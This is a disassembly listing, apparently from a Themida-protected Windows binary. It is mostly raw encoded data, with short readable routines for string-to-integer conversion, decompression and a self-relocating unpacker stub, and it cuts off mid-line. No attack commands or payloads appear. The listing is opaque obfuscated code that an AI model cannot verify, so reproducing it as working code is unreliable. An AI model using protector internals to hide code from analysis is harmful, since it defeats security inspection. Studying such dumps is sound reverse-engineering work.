8B49CBC3h, 0E41DA195h, 0D5858D05h dd 6605E736h, 0FF8F6BBBh, 0EB8166D0h, 0BD8D4982h, 5E4292Dh dd 52E4F281h, 4F8B42E8h, 51006A1Ch, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1904h, 0C3514100h, 0AC01BA31h, 16A5DD7h dd 6650F78Ah, 897A4ABBh, 0EE9240Ch, 33000000h, 0B89965E0h dd 94684AFAh, 2E570565h, 0D5858D15h, 8B05E736h, 0E4261195h dd 81D0FF05h, 6A204BCBh, 204F8B7Ch, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Dh, 21C35545h, 3DDBA52Bh, 0DDAF2CD2h dd 0D98B511Ch, 50036A5Ah, 0FE8h, 5A640200h, 4527D09Bh dd 786D5479h, 0B5A3D097h, 128C0Fh, 0DE90000h, 2A000000h dd 0A2100A1Ah, 40A9F794h, 319C793Dh, 240C895Bh, 858DD18Ah dd 5E736D5h, 2AF99589h, 0D0FF05E4h, 11B9BD09h, 8D8B05E4h dd 5E44BC6h, 54E38166h, 0F01FEECh, 0A80h, 48D0F00h, 66000000h dd 8B9850BAh, 0E44BC685h, 4D3FBA05h, 0DF8B4B4Bh, 6A00FEh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h dd 9BC7D4C3h, 5B094E8Fh, 89016A10h, 0E42A8195h, 27206805h dd 8B66DC04h, 240481DFh, 23FB78DFh, 3830Fh, 0C7800000h dd 8D35B603h, 0E736DF85h, 159D8B05h, 0FF05E420h, 51006AD0h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 8A0F4E03h, 6, 7458DB81h, 0BD831E80h, 5E41FBDh, 15840F00h dd 81000001h, 6701E2E3h, 95BD8363h, 105E429h, 102850Fh dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h dd 53430000h, 8CBA6AC3h, 0ACF80A72h, 1EA5DDCh, 0E41B65B5h dd 0E98D8D05h, 0B05E736h, 0E4323595h, 13E805h, 0C2300000h dd 0D831FDE7h, 37EC486Eh, 937CE7DBh, 9C6A85BFh, 9952998h dd 5A05E410h, 6A036Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 160424h, 57470000h, 0F59312C3h, 59DB8166h, 6A016A67h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h dd 47000000h, 8DE1C357h, 0FFF8D30Fh, 45BD09D1h, 6A05E420h dd 52006A01h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h dd 0C3524200h, 0BD3190CCh, 5E43221h, 0E3B2016Ah, 6AD1FFh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 653017C3h, 2DD69FE9h, 49BB6619h, 5F5FE81Dh, 9D8BFA77h dd 5E4234Dh, 0B531206Ah, 5E409B5h, 0F48AFF6Ah, 0DE960h dd 73BD0000h, 9F48275Dh, 3864987Fh, 66407B2Dh, 0FA06C881h dd 2995FF61h, 6A05E424h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 18042444h, 41000000h, 5E00C351h, 8B8AAC5Eh dd 0B8D0h, 0C5B70000h, 840FC00Bh, 45h, 231DBD89h, 0BD8305E4h dd 5E421A1h, 32840F00h, 0F000000h, 68Eh, 69BD8900h, 0FF05E402h dd 0E4258595h, 14E805h, 0A6D70000h, 0F220A487h, 0F4F69365h dd 7F905406h, 7DF8F143h, 0BD89F29Ah, 5E42DB1h, 91858B5Bh dd 105E411h, 0E42D2DBDh, 0C605h, 3C9CBB66h, 6828BA58h dd 0BD8956F8h, 5E426C9h, 89D98C66h, 0E40D45BDh, 88C0F05h dd 50000000h, 2F1958Bh, 0F65B05E4h, 840F04C1h, 2Fh, 2425958Bh dd 24E905E4h, 8B000000h, 0E4012D9Dh, 0B5B58B05h, 8005E41Ah dd 0C68194C3h, 1180h, 1B499503h, 6C705E4h, 0 dd 5ED9BF0Fh, 0FDE8B66h, 68Ch, 1D858900h, 8305E416h, 840F00F8h dd 0BFFh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 19h, 0CC35545h db 77h, 60h word_544F42 dw 0CCB6h ; DATA XREF: ___:off_435718o dd 5DB58951h, 8305E40Fh, 850F01F8h, 1D6h, 17DD29BBh, 19D8B5Bh dd 0B805E41Ch, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0F2C35545h dd 29E04731h, 0C00B869Ah, 102840Fh, 0EA810000h, 5AFED3A1h dd 0F01F883h, 12784h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1704h, 0C3524200h, 13CC381Dh, 2AA5958Bh dd 0F88305E4h, 5C840F03h, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 1E2CC353h dd 0F4D1F33Bh, 9F10DD5Bh, 0CE8h, 33337200h, 0EF773182h dd 0B5D9C197h, 5B45B397h, 0B8h, 0F2816600h, 0BD8D2DA6h dd 5B7974h, 11098D89h, 0E7FF05E4h, 3A78D281h, 42BA5AB4h dd 0B825CE6Ah, 1, 898EC780h, 0E41AB9BDh, 74BD8D05h, 6A005B79h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h dd 45000000h, 829EC355h, 0B4ADC9AEh, 70C29B5Ch, 0FFD0BF0Fh dd 57006AE7h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h dd 0C3574700h, 6FEDEACFh, 6678445Ch, 9D8BD18Bh, 5E40CC5h dd 4252BD8Dh, 958B05E4h, 5E424A9h, 31EE9h, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 0FDCC8244h, 0FCAABB58h, 4C2185C7h, 505E4h, 81660000h dd 0B84DFBE3h, 5, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 17h, 6BC35545h, 8B9D1D10h, 0E402ED9Dh, 0E9EFB205h, 979h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 31C35747h dd 0F1B22C27h, 1B559D8Bh, 0F88305E4h, 0FB850F02h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h dd 43000000h, 25B6C353h, 2B565076h, 0E41DF59Dh, 0B85A05h dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 14042444h, 46000000h, 662CC356h, 0B170BBBh, 6F840FC0h dd 81000000h, 0FDAAA4D3h, 1F8830Eh, 0FF2E840Fh, 8589FFFFh dd 5E43261h, 0F03F883h, 0FFFE8284h, 0D59589FFh, 0B805E40Fh dd 0 dd 0BE9h, 88B74C00h, 0E6E93AA7h, 0C566DA58h, 7974BD8Dh dd 6A005Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h dd 57470000h, 0A0C9EBC3h, 958BCFB3h, 5E4122Dh, 8B52E7FFh dd 0E42A1D9Dh, 0BD8D5B05h, 5E4444Ah, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 19h, 0EAC35545h, 0A5EC56FDh, 99958B36h dd 0E905E41Fh, 197h, 27999D8Bh, 0F88305E4h, 37850F03h dd 9000000h, 0E4125185h, 0DEBD8D05h, 905E445h, 0E41A5195h dd 171E905h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 160424h, 55450000h, 0FB8A2EC3h, 0F883DF8Bh, 5C850F05h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 15042444h, 41000000h, 0E759C351h, 0AE9h, 0BC278100h dd 29FB3EBBh, 89BD2413h, 0E421E195h, 7CFE905h, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 0B6BE3CC3h, 2EE38113h, 834FB39Eh, 850F06F8h, 45h, 0BD8DDA8Bh dd 5E447D6h, 38E0Fh, 8B660000h, 0CDE9DFh, 0DF8B0000h, 10E8h dd 68FE300h, 47B6BD0Dh, 3258CEAFh, 0F919B677h, 12E921h dd 66A40000h, 0C499597Fh, 93AEEC11h, 959FFE71h, 61D2D080h dd 7F8835Bh, 1B850Fh, 0BA660000h, 0BD8D0402h, 5E40501h dd 2CA1958Bh, 4DE905E4h, 1000001h, 0E41B09BDh, 0AF88305h dd 71850Fh, 6A0000h dword_545350 dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h ; DATA XREF: ___:off_43CCB4o dd 0C2B03CC3h, 8DB0CC67h, 0E449CEBDh, 55006A05h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 0E9D223ADh, 11h, 9B1260F3h, 0CBF8FF68h, 0C36CFE6Ch dd 5CE2237Dh, 11E909h, 0CE90000h, 0F4000000h, 0A457CBF1h dd 0D50E4830h, 57F66D92h, 0F0CA8166h, 6E21B9BFh, 5A501E7Ch dd 0F003F83h, 7E84h, 0C9816000h, 6978F6Ah, 14E9h, 8FD48900h dd 64068461h, 9ABBE8DEh, 1850440h, 54ED345h, 0F306102h dd 0C9D1DE8Ah, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Bh, 93C35040h, 0AB8C49FEh, 8B4EA5F4h, 0E425359Dh, 6A4705h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 0A05699C3h, 0E51CC6C6h, 0FF7EE9CEh, 8166FFFFh, 5F4B38D2h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 73C35343h dd 4EA61C19h, 8DE8B002h, 0EE990h, 0BCED0000h, 5FA95B9h dd 64444836h, 66B6BA34h, 4BCABD89h, 958B05E4h, 5E42DB9h dd 2F98D8Dh, 0D98B05E4h, 3880F60h, 80000000h, 850F25C2h dd 6, 2AF1958Bh, 0FF6105E4h, 0E40241B5h, 0EE905h, 85E30000h dd 0A18C1FB6h, 0E3C4838Ch, 696E1BA6h, 9C41858Dh, 8D5005E6h dd 0E4525EBDh, 218D8D05h, 0B805E46Dh, 54831ABCh, 730CF2Bh dd 4947C8D0h, 0B58DF875h, 5E46C8Ah, 6D398D8Dh, 0CF2B05E4h dd 0C933A4F3h, 0B8h, 74C00B00h, 0A1BD8346h, 5E421h, 95FF0674h dd 5E42585h, 4BCAB58Bh, 858D05E4h, 5E69C41h, 858DD0FFh dd 5E441E7h, 85C7D0FFh, 5E40FA1h, 1, 0F79A58Bh, 0B58B05E4h dd 5E41C65h, 1F85AD8Bh, 0C03305E4h, 1000CC2h, 0E41B1195h dd 0C9BD8305h, 5E424h, 2F840Fh, 8B660000h, 1995FFD3h, 6A05E411h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h dd 45000000h, 0E899C355h, 3D88B66h, 0E41E059Dh, 0DDBD8305h dd 5E430h, 1F1850Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1C0424h, 53430000h, 7D86B1C3h, 3149CD88h dd 0BB665ACCh, 0BD830062h, 5E42995h, 0BC850F01h, 0F000001h dd 0BD83D3B7h, 5E41549h, 0AC840F00h, 0E9000001h, 14h, 731B26Ch dd 61A6991Bh, 81FA897Dh, 2725613Eh, 2EFDB280h, 4C1DBD83h dd 0F0005E4h, 18684h, 35950900h, 8D05E422h, 0E69C4185h dd 0E850F05h, 60000000h, 8F0Fh, 8D8B0000h, 5E43221h, 0CAB58B61h dd 8005E44Bh, 0D0FFB4CEh, 8818D89h, 816605E4h, 0C65C79C2h dd 0E42A4985h, 958B5405h, 5E412E5h, 4E8h, 4EBEF400h, 0D88B66FFh dd 24448B50h, 7E804h, 566D0000h, 34F951Ch, 5A07B228h, 5250008Bh dd 310FDD8Ah, 13E8h, 2FD39400h, 0CCD6CC0Dh, 33A553F1h dd 0E45EA66Ch, 0F657DD60h, 5BD08B66h, 4489585Ah, 52500424h dd 0CE85250h, 51000000h, 5B211796h, 0A52882C8h, 5BD8C67Ah dd 6160310Fh, 310F585Ah, 652D39BAh, 58585A6Ah, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0B6C35040h, 26AD938Ah dd 0B5FF38CFh, 5E428E5h, 0FAE38166h, 0AD9D8999h, 8D05E408h dd 0E4399485h, 51006A05h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1604h, 0C3514100h, 8950710Dh, 0E41A399Dh dd 89D0FF05h, 0E400B1B5h, 8B006A05h, 0E42E7595h, 6AFF6A05h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h dd 41000000h, 6C83C351h, 8BC2ACD6h, 891AD1A1h, 0E403E1BDh dd 81D0FF05h, 73442CC2h, 0C840F6Ah, 0F000000h, 688h, 0B1853100h dd 0FF05E416h, 0E41625B5h, 5880F05h, 0BB000000h, 557C442Ah dd 0FFDBB70Fh, 0E4024195h, 0D19D0305h, 8B05E427h, 0E44BCAB5h dd 53006A05h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 3E359826h, 0D0B70FCDh, 38D0FC3h, 0F000000h dd 0B58BD6BFh, 5E41191h, 6E8h, 87048A00h, 0F89C962h, 38Bh dd 0DAB70F00h, 0FF60B5Bh, 3084h, 0C59D2900h, 0C605E422h dd 6A0006h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h dd 56460000h, 374CC6C3h, 0A472BBBh, 0AC0B55BBh, 0D2858946h dd 6A05E44Bh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1A042444h, 41000000h, 8CBC351h, 32D78B28h, 68D0FCCh dd 1000000h, 0E402C585h, 0F88305h, 2CD840Fh, 9D230000h dd 5E4202Dh, 0B8h, 85896000h, 5E40CA9h, 0F88361F9h, 0C4840F00h dd 89000000h, 0E4310DB5h, 2F88305h, 7E850Fh, 0DF800000h dd 4D858D5Bh, 905E442h, 0E40D799Dh, 9292D05h, 0DDB20000h dd 50DF8B90h, 0E9525052h, 11h, 750647E7h, 11B0F45h, 0E63FA03h dd 0B200D03Eh, 0E8310F7Dh, 14h, 79C2DA2Ch, 0A6648E4Bh dd 0C862D486h, 4E99F303h, 0CBB14F33h, 5B585A5Bh, 55B58990h dd 0C305E40Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ch, 0C7C35242h, 0A2DD8D0Fh, 669CD81Fh, 0B8h, 958B5000h dd 5E4202Dh, 211E95Ah, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1B0424h, 57470000h, 0F78910C3h, 6D4C84h dd 0B8DF8B69h, 1, 30AD8589h, 8DF905E4h, 0E44252BDh, 1FF28105h dd 0E93E4722h, 0C8h, 168D9D03h, 0F88305E4h, 15850F02h dd 0B000000h, 0E4073995h, 4ABD8D05h, 8A05E444h, 0A6E9FCh dd 6EB20000h, 0F03F883h, 2385h, 45958B00h, 8905E40Dh, 0E418499Dh dd 0DEBD8D05h, 8B05E445h, 0E407559Dh, 7EE905h, 85290000h dd 5E41A39h, 0F05F883h, 6F85h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 39CC9EF9h dd 0E6B4FFD4h, 299D8B7Dh, 0E905E417h, 0Ah, 26C94935h, 0A01AC8E3h dd 9533C79Ah, 5E4268Dh, 8CE9h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 0A1BF8F72h dd 5E49D03Dh, 0B58990A5h, 5E40975h, 56006A57h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 6A52B1C4h dd 1F2D8529h, 21B905E4h, 0F51E7C6Eh, 0F003F83h, 2C84h dd 80D28100h, 307A7C05h, 4CBA660Fh, 0B6C9D1BAh, 0D98B475Eh dd 0FFFFDFE9h, 0E860B2FFh, 6, 0B4441851h, 9D895795h, 5E419A1h dd 5F8835Ah, 9D850Fh, 66560000h, 665ADE8Bh, 6AD98Ch, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 0EA3096C3h, 5C9807E8h, 958B239Fh, 5E426CDh, 0F04C1F6h dd 2D85h, 0B8F500h, 8A000000h, 55E9DEh, 14E80000h, 3D000000h dd 0A2ABB2AEh, 32F3066Dh, 0D9A1C3F0h, 0C908F255h, 0FE57777h dd 8Bh, 858B5B00h, 5E427FDh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Dh, 0C0C35545h, 146ACD3Bh, 53E3DF2Dh dd 0CB8056BFh, 0E0FF5BFFh, 83F0CE80h, 0E40241BDh, 850F0005h dd 10Ah, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ch, 0CEC35242h, 6009254Bh dd 2A2811C8h, 501EB390h, 13E9h, 18EAC000h, 0C76BE4B7h dd 34C53638h, 3E4396E5h, 0A8573F33h, 50006A90h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 80D13A3Fh dd 85C679DAh, 5E42A49h, 12E845h, 77780000h, 0C96C8C5Ch dd 7B04CE23h, 0F98E4699h, 445E838h, 2B5B589h, 685A05E4h dd 0FC1AB8CDh, 34815B51h, 68D1A424h, 3BF38172h, 0FF246182h dd 0E428E5B5h, 56006A05h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1804h, 0C3564600h, 5127DC4Eh, 94858D76h dd 8905E439h, 0E41CE185h, 31D0FF05h, 0E40741BDh, 41858905h dd 0BB05E402h, 72AAE585h, 50006A58h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1B04h, 0C3504000h, 0DE9D32Eh dd 79FE43D6h, 9B77DB81h, 0BD833E39h, 5E44C21h, 4C840F00h dd 81000000h, 6ADD5CEBh, 25B5FF00h, 6A05E416h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h dd 0DB62C357h, 31727DE0h, 8A452EC7h, 0FF49D380h, 0E4024195h dd 0B4CA8105h, 0F4691FFh, 68Bh, 0D950900h, 8305E408h, 850F00F8h dd 0CEh, 0AC4125BBh, 31BD830Dh, 5E42Ch, 43840Fh, 0B5890000h dd 5E41431h, 2C31B5FFh, 6A05E4h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 140424h, 55450000h, 8B53E8C3h, 0E42D3995h dd 1B85B05h, 66000000h, 0E93969BBh, 255h, 4F5E76BBh, 25B5FF25h dd 6A05E416h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 19042444h, 41000000h, 0CA17C351h, 5FD0C351h, 1101BD09h dd 0B5FF05E4h, 5E41625h, 1DC9B589h, 0B5FF05E4h, 5E40241h dd 0CE9h, 0DD265B00h, 0FFAD020Dh, 0D81B6857h, 1FBE9A8h dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h dd 51410000h, 0B9D2D8C3h, 4E6AD53h, 6A5FF553h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h dd 53CAC353h, 0AEA27274h, 75F8B9A9h, 831FF280h, 0E40CC9BDh dd 850F0005h, 0A4h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ah, 88C35646h, 33B68142h, 95314837h, 5E42C99h dd 2A4985C6h, 8B4D05E4h, 0E409019Dh, 0DF376805h, 0E96083CDh dd 12h, 7BAEE44Ch, 93204B0Bh, 0DBECCC03h, 1673609Ah, 0BB66B8E3h dd 8161757Fh, 0A99F2434h, 0DF8027F8h, 2D958B4Eh, 0FF05E41Ah dd 0E42379B5h, 16BA6605h, 94858D00h, 6005E439h, 58D681h dd 95292A86h, 5E41D41h, 8BD0FF61h, 0E423719Dh, 0DEB70F05h dd 0CC98589h, 0F5305E4h, 38Dh, 0D38B6600h, 0D9BF0F5Bh dd 0B8h, 0B1950100h, 8905E40Ch, 0E44BCABDh, 9E86005h, 81000000h dd 9EC3A50h, 74D48079h, 3129958Bh, 95805E4h, 0E40CB595h dd 0C00B6105h, 32840Fh, 9D890000h, 5E4153Dh, 0BCE9h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 88E1491Dh, 66B1B0A1h, 0BEB4C381h, 241B5FFh, 665205E4h dd 5AFB63BBh, 17D1958Bh, 858D05E4h, 5E69C41h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 4FC35343h, 0E6C418D1h dd 0EB80364Dh, 0B99D89C1h, 9005E41Ah, 0CE9h, 0EC9A8F00h dd 0FD0DC669h, 4F2D44AFh, 11E9500Bh, 45000000h, 0A2361FA0h dd 0EB21C78Ah, 3B6E9D10h, 0AC0F0023h, 55006A90h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 7EFA84A5h, 66BD3D1Ch, 8EBB66E6h, 8D5650E8h, 0E4525EBDh dd 8D8D8D05h, 0B805E477h, 748323BCh, 730CF2Bh, 4947C8D0h dd 585EF875h, 2C31BD83h, 740005E4h, 0AD8D8B06h, 3305E417h dd 0B8C9h, 0C00B0000h, 99840Fh, 0BD830000h, 5E421A1h, 0FF067400h dd 0E4258595h, 0B805h, 0C00B0000h, 0BD830975h, 5E44BD2h dd 83097401h, 0E44BD2BDh, 0E750205h, 4BCAB58Bh, 858D05E4h dd 5E69C41h, 858DD0FFh, 5E441E7h, 0BD83D0FFh, 5E42D11h dd 8B2F7502h, 0E40F79A5h, 31858B05h, 8905E42Ch, 85C72404h dd 5E40FA1h, 1, 4BCEB58Bh, 0AD8B05E4h, 5E41F85h, 1B8h dd 0CC200h, 85C700EBh, 5E40FA1h, 1, 0F79A58Bh, 0B58B05E4h dd 5E41C65h, 1F85AD8Bh, 0C03305E4h, 83000CC2h, 0E424C9BDh dd 0F740005h, 1119BD83h, 740005E4h, 1995FF06h, 8B05E411h dd 0E44BCAB5h, 8E9C305h, 74000000h, 0A2B22F52h, 8B98926Eh dd 0E404719Dh, 0BA05h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1D0424h, 57470000h, 4529B5C3h, 0A1C70A4Bh dd 0FF46FB5h, 382h, 0F3D78000h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push edi push edx push esi mov edi, [ebp+8] xor eax, eax jmp short loc_54608C ; --------------------------------------------------------------------------- loc_54608A: ; CODE XREF: Themida_:0054608Fj inc eax inc edi loc_54608C: ; CODE XREF: Themida_:00546088j cmp byte ptr [edi], 0 jnz short loc_54608A xor ecx, ecx mov edi, [ebp+8] jmp short loc_5460BB ; --------------------------------------------------------------------------- loc_546098: ; CODE XREF: Themida_:005460BDj xor edx, edx mov dl, [edi] sub dl, 30h mov esi, eax dec esi push eax mov eax, edx push ebx mov ebx, 0Ah jmp short loc_5460B0 ; --------------------------------------------------------------------------- loc_5460AD: ; CODE XREF: Themida_:005460B3j mul ebx dec esi loc_5460B0: ; CODE XREF: Themida_:005460ABj cmp esi, 0 ja short loc_5460AD pop ebx add ecx, eax pop eax inc edi dec eax loc_5460BB: ; CODE XREF: Themida_:00546096j or eax, eax jnz short loc_546098 mov eax, ecx pop esi pop edx pop edi pop ecx leave retn 4 ; --------------------------------------------------------------------------- db 6Ah, 0, 53h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 8205CEB2h, 8B0F53h, 5B000000h, 0ADE9C18Bh, 60000001h dd 2424748Bh, 28247C8Bh, 8A80B2FCh, 7884606h, 2BB47h, 0D2020000h dd 5850Fh, 168A0000h, 0FD21246h, 0FFFFE283h, 0FD202FFh dd 585h, 46168A00h, 830FD212h, 6Ah, 0D202C033h, 5850Fh dd 168A0000h, 0FD21246h, 12A83h, 0FD20200h, 585h, 46168A00h dd 0C013D212h, 850FD202h, 5, 1246168Ah, 2C013D2h, 5850FD2h dd 8A000000h, 0D2124616h, 0D202C013h, 5850Fh, 168A0000h dd 13D21246h, 6840FC0h, 57000000h, 78AF82Bh, 4707885Fh dd 2BBh, 0FF70E900h, 1B8FFFFh, 2000000h, 5850FD2h, 8A000000h dd 0D2124616h, 0D202C013h, 5850Fh, 168A0000h, 0FD21246h dd 0FFFFDE82h, 0BBC32BFFh, 1, 34850Fh, 1B90000h, 2000000h dd 5850FD2h, 8A000000h, 0D2124616h, 0D202C913h, 5850Fh dd 168A0000h, 0FD21246h, 0FFFFDE82h, 0F78B56FFh, 0A4F3F52Bh dd 0FF08E95Eh, 0C148FFFFh, 68A08E0h, 0B9E88B46h, 1, 850FD202h dd 5, 1246168Ah, 2C913D2h, 5850FD2h, 8A000000h, 0D2124616h dd 0FFDE820Fh, 3DFFFFh, 0F00007Dh, 2283h, 5003D00h, 820F0000h dd 0Eh, 0F78B5641h, 0A4F3F02Bh, 0FEB4E95Eh, 0F883FFFFh dd 3870F7Fh, 83000000h, 8B5602C1h, 0F3F02BF7h, 9BE95EA4h dd 8AFFFFFEh, 0C9334606h, 0F01E8C0h, 1784h, 2D18300h, 8B56E88Bh dd 0F3F02BF7h, 1BB5EA4h, 0E9000000h, 0FFFFFE76h, 28247C2Bh dd 1C247C89h, 8C261h, 929BAh, 1705E900h, 3F0002h, 0FE0F025Ah dd 0FE0F005Ah, 5Ah, 280000h, 0F91D025Ah, 0FF68005Ah, 2820012h dd 20000h, 10000h, 20000h, 0E7C90000h, 0FA6Fh, 4 dup(0) dd 0E8210000h, 0B3DF0054h, 0FC390054h, 59A0054h, 0E40D0055h dd 27AC0054h, 85ED0055h, 14970054h, 12D00055h, 0F44C0055h dd 4430054h, 0E2760055h, 0C8800054h, 0AA910054h, 0A8D80054h dd 9B710054h, 0A6200054h, 8B310054h, 0C4150054h, 972E0054h dd 0AA400054h, 9F910054h, 904E0054h, 76030054h, 951A0054h dd 17670054h, 0F54C0055h, 6E8F0054h, 98480054h, 868C0054h dd 0D52B0054h, 85120054h, 0A9050054h, 7E660054h, 93330054h dd 0D1200054h, 0AE80054h, 123D0055h, 0DBB50055h, 6E270054h dd 0D0960054h, 0D0670054h, 0F7E00054h, 24180054h, 72510055h dd 9F270054h, 0F3390054h, 0F6C20054h, 98B70054h, 0D1930054h dd 1BA60054h, 0DED80055h, 0F49E0054h, 17D80054h, 99370055h dd 6D330054h, 0D1CE0054h, 10CD0054h, 19800055h, 0A16A0055h dd 78110054h, 0D00E0054h, 7B070054h, 8A450054h, 983C0054h dd 8A660054h, 0B5A50054h, 71290054h, 7FC80054h, 0FB910054h dd 71650054h, 0DCE50054h, 79280054h, 3820054h, 0AF90055h dd 0CC0E0055h, 0F5130054h, 0EB710054h, 95740054h, 79FF0054h dd 68A30054h, 68D00054h, 24D10054h, 84320055h, 0F7D70054h dd 27390054h, 0A2DF0055h, 0CF990054h, 22190054h, 81D50055h dd 0C0F0054h, 1110055h, 4DD0055h, 0B2D50055h, 0E3500054h dd 0EDA10054h, 683E0054h, 8520054h, 8EA50055h, 0B31C0054h dd 7A890054h, 0F5BE0054h, 6FB20054h, 7A100054h, 0FB1F0054h dd 0A8060054h, 0AFAA0054h, 9FCD0054h, 9B030054h, 69D10054h dd 6A850054h, 6D630054h, 99130054h, 294F0054h, 0B2BC0055h dd 0F1D80054h, 0D7EB0054h, 0DA270054h, 82450054h, 0A8E60054h dd 0F2900054h, 69630054h, 13760054h, 6C330055h, 78360054h dd 0EFD20054h, 0D54E0054h, 0D9940054h, 9C5D0054h, 0AA0F0054h dd 370054h, 0D8FB0055h, 929C0054h, 27C60054h, 0DE310055h dd 201C0054h, 0C1D90055h, 0BEC70054h, 99550054h, 0B74F0054h dd 0D6D60054h, 0A26D0054h, 1E790054h, 94300055h, 126E0054h dd 0F8620055h, 0E04F0054h, 99EB0054h, 86260054h, 666F0054h dd 0BAA00054h, 0C9550054h, 81350054h, 7A00054h, 0CB7B0055h dd 0C4960054h, 0BBB0054h, 715C0055h, 1F700054h, 0E5290055h dd 0DCB50054h, 0E8E80054h, 77330054h, 0D3830054h, 7CBE0054h dd 192E0054h, 0EDB40055h db 54h, 0 ; --------------------------------------------------------------------------- loc_54658E: ; CODE XREF: Themida_:005683A0j ; Themida_:00572845j ... pusha pushf cld call $+5 pop edi sub edi, 5E47DCDh mov eax, edi add edi, 5E47AE5h cmp eax, [edi+2Ch] jnz short loc_5465AC jmp short loc_5465BF ; --------------------------------------------------------------------------- loc_5465AC: ; CODE XREF: Themida_:005465A8j mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_5465BB ; --------------------------------------------------------------------------- loc_5465B6: ; CODE XREF: Themida_:005465BDj add [edi+ecx*4+40h], eax dec ecx loc_5465BB: ; CODE XREF: Themida_:005465B4j or ecx, ecx jnz short loc_5465B6 loc_5465BF: ; CODE XREF: Themida_:005465AAj mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_5465CC: ; CODE XREF: Themida_:005465D3j xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_5465CC loc_5465D5: ; CODE XREF: Themida_:00546821j ; Themida_:00546DEEj ... lodsb xor al, bl push edx mov dh, 8Ch push small 303Eh jmp loc_548981 ; --------------------------------------------------------------------------- dd 83241C8Bh, 0FF5704C4h, 5F042474h, 5C24048Fh, 4B30F66h dd 0D6E99C24h db 3 dup(0FFh) ; --------------------------------------------------------------------------- loc_5465FF: ; CODE XREF: Themida_:0054B703j mov ebp, 0FCC6DDFh jmp loc_548FED ; --------------------------------------------------------------------------- loc_546609: ; CODE XREF: Themida_:0054F88Cj sub edi, 310674Dh add edi, esi add edi, 310674Dh pop esi jmp loc_54D691 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 74DBC281h, 0C20171CCh, 64C68h, 24048900h, 47D5DB8h dd 